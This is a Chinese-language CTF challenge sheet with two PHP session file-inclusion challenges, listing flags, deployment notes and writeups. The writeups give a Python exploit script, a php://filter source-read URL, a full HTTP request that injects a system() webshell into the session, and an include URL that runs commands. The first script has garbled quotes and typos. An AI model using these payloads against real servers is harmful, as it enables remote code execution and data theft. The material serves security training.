文件包含-session2
[题目信息]:
题目名称 | 题目难度 |
---|---|
文件包含-session2 | 2 |
[题目考点]:
由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()
[Flag格式]:
SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2098
[题目writeup]:
#!/usr/bin/env python
# coding: utf-8
from time import sleep
import requests
url = ‘url’
s = requests.session()
def execute(cmd):
params = {
‘file’: ‘<?php passthru($POST[“cmd”]); ?>’
}
r = s.get(url, params=params)
params[‘file’] = '/tmp/sess’ + r.cookies[‘PHPSESSID’]
r = s.post(url, params=params, data={'cmd': cmd})
return r.text
print execute(‘cat /flag’)
[题目信息]:
题目名称 | 题目难度 |
---|---|
文件包含-session | 2 |
[题目考点]:
由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()
[Flag格式]:
SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2090
[题目writeup]:
1、实验主页
2、题解分析
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
分析题目源码,可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] = $_POST[‘name’] 可控
其中 call_user_func($func,$_GET); 回调函数可利用
而且 include($file); 调用了文件包含
所以,可以调用变量覆盖函数,覆盖掉 $file ,从而引入文件包含
?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
利用文件包含读到了admin.php和function.php的源码,然而这两个文件源码对解题没有什么帮助。
从index.php可以看出 $_SESSION[‘name’] = $_POST[‘name’] ,session的值可控,session默认的保存位置如下
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) ,我们包含不了 /var/lib/ 下的session
但是我在tmp下也找不到自己的session,所以这里的session应该是在 /var/lib/ 下
这里可以调用session_start函数,修改session的位置
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.17.87:2090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
name=<?php echo "aaa";system($_GET[x]);?>
然后进行包含session
/index.php?function=extract&file=/tmp/sess_056395276464d1b4480bc1457efbb106&x=cat+fsadgsdagsadgasd.php